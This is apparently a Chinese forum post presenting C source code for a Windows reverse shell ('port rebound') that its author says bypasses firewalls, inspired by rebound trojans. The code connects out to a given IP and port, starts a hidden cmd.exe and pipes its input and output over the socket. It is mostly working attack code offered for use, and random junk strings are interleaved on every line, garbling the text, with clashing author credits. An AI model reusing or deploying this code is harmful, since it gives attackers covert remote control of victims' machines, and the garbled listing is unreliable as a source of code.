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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q">lP (t  
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/* ============================== 0Am&:kX't  
Rebound port in Windows NT uP2e/a  
By wind,2006/7 t>"UenJt-  
===============================*/ "c` $U]M%  
#include 8Q ba4kgL  
#include /I}#0}  
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#pragma comment(lib,"wsock32.lib") ~o_0RB  
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void OutputShell(); ,|6 O}E&  
SOCKET sClient; FFX-kS  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0=O(+ yi  
wd*8w$\  
void main(int argc,char **argv) +A%|.;  
{ + 2 v6fan  
WSADATA stWsaData; 15dhr]8E  
int nRet; ?_)b[-N!  
SOCKADDR_IN stSaiClient,stSaiServer; V,:^@ 7d  
~A^E_  
if(argc != 3) Yw @)0%G  
{ qg1s]c~0u  
printf("Useage:\n\rRebound DestIP DestPort\n"); NU[{ANbl  
return; ._'AJhU$0  
} z,dh?%H>X  
hS&3D6G t  
WSAStartup(MAKEWORD(2,2),&stWsaData); IlN: NS  
#$W02L8  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E| eEAa  
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stSaiClient.sin_family = AF_INET; !Q[j;f   
stSaiClient.sin_port = htons(0); q_iPWmf p*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4P(muOS  
9#(Nd, m})  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >}<1  
{ Xb#!1hA  
printf("Bind Socket Failed!\n"); 8R|!$P  
return; h;" 9.  
} C\ 2rSyo  
j=|cx+nb  
stSaiServer.sin_family = AF_INET; MX Qua:&HW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wNc.z*+O"H  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xs#g  
>,%or cN  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #<h//<  
{ +}3l$L'bY  
printf("Connect Error!"); {BV0Y.O  
return; E;v#'  
} m8[XA!,  
OutputShell(); xf2|9Tqt  
} FgwIOpqE*  
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void OutputShell() 1N\/61+aA  
{ rfo7\'yk  
char szBuff[1024]; m&S *S_c  
SECURITY_ATTRIBUTES stSecurityAttributes; suKr//_  
OSVERSIONINFO stOsversionInfo; EKu%I~eM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [G!#y  
STARTUPINFO stStartupInfo; lo!^h]iE!  
char *szShell; M02 U,!di  
PROCESS_INFORMATION stProcessInformation; tzIcR #Z  
unsigned long lBytesRead; \-?0ab3Z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I<+EXH%1,  
r=}v` R&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @ T.+:U@S  
stSecurityAttributes.lpSecurityDescriptor = 0; J2 ZV\8t  
stSecurityAttributes.bInheritHandle = TRUE; XrUc`  
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nh XVc((  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7q%xF#mK=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^sVr#T  
i0}f@pCB?X  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E .N@qMn~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X+2uM+  
stStartupInfo.wShowWindow = SW_HIDE; gwGw  
stStartupInfo.hStdInput = hReadPipe; WuuF &0?8C  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B6kc9XG  
g1kYL$o4  
GetVersionEx(&stOsversionInfo); ?3 S{>+'  
Xb<>AzEM  
switch(stOsversionInfo.dwPlatformId) Z ".Xroq~  
{ U9"(jl/o  
case 1: fI v?HD:j  
szShell = "command.com"; `92P~Y~`W  
break; c_4K  
default: b(_f{R7PY  
szShell = "cmd.exe"; do.AesdXaq  
break; ;\g0* b(  
} "5HSCl$r%  
W1Vy5V|M  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); < k?pnBI_  
vnN 0o5  
send(sClient,szMsg,77,0); H)k V8wU  
while(1) QHXA?nBX  
{ baoyU#X9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +)hxYLk&I  
if(lBytesRead) uf^HDr r<L  
{ xp?YM35  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  ;kzjx%h  
send(sClient,szBuff,lBytesRead,0); nIr:a|}[  
} s*Nb=v.e9  
else bj6;>Ezp3(  
{ )+Y"4?z~  
lBytesRead=recv(sClient,szBuff,1024,0); =PF2p'.o  
if(lBytesRead<=0) break; D7r&z?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B:Y F|k}T  
} W{%X1::q$  
} >PzZt8e  
g=/!Ry=  
return; "Zfm4Nx "  
}
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